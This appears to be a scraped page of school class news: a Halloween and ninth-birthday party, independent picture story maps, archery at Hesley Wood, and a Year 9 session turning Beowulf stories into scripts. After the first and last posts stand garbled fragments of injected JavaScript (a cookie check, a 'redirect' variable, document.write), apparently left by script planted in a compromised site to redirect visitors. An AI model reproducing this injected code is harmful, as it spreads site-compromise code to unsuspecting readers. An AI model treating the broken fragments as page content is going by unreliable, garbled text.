    Class 3 Celebrate Hallowe’en and Rowan’s Birthday

    Today was Rowan’s 9th birthday and we combined his celebration with a Hallowe’en party. Half the afternoon was spent doing ‘Hallowe’en activities such as apple bobbing and creating monster collages; followed by half an hour of pinning the tail on the donkey, eating cake and singing Happy Birthday to Rowan.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

    Independent Picture Maps

      After working together to produce a class picture story map each child was then able to work independently producing their own picture story map based on their own ideas. They then used the pictures to ‘box up’ their ideas. We will share our end stories next week once they are complete.

    Darton go to Hesley Wood!

    We have started a 9 week programme at Hesley Wood taking part in some amazing activities. This week was Archery; we learnt all the different names for the equipment we used and the instructor taught us how to line up the target with the end of the arrow. We loved it! It was fun and got us used to being outdoors. It was more exciting that we thought! Tune in next week to see how we get on Climbing!

    A day in the life of a script writer, actor and film director! 

     Year 9 have spent the day channelling their inner actor, budding script writer and getting a chance to see a very flamboyant film director in full swing.  The class began by voting for the best parts of each individual pupil’s  Beowulf stories and worked together to adapt them into scripts to act out. Before they new it everyone was into character and the transformation began! Come and visit us in Year Nine and we can give you sneaky look at the footage before the final edit!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
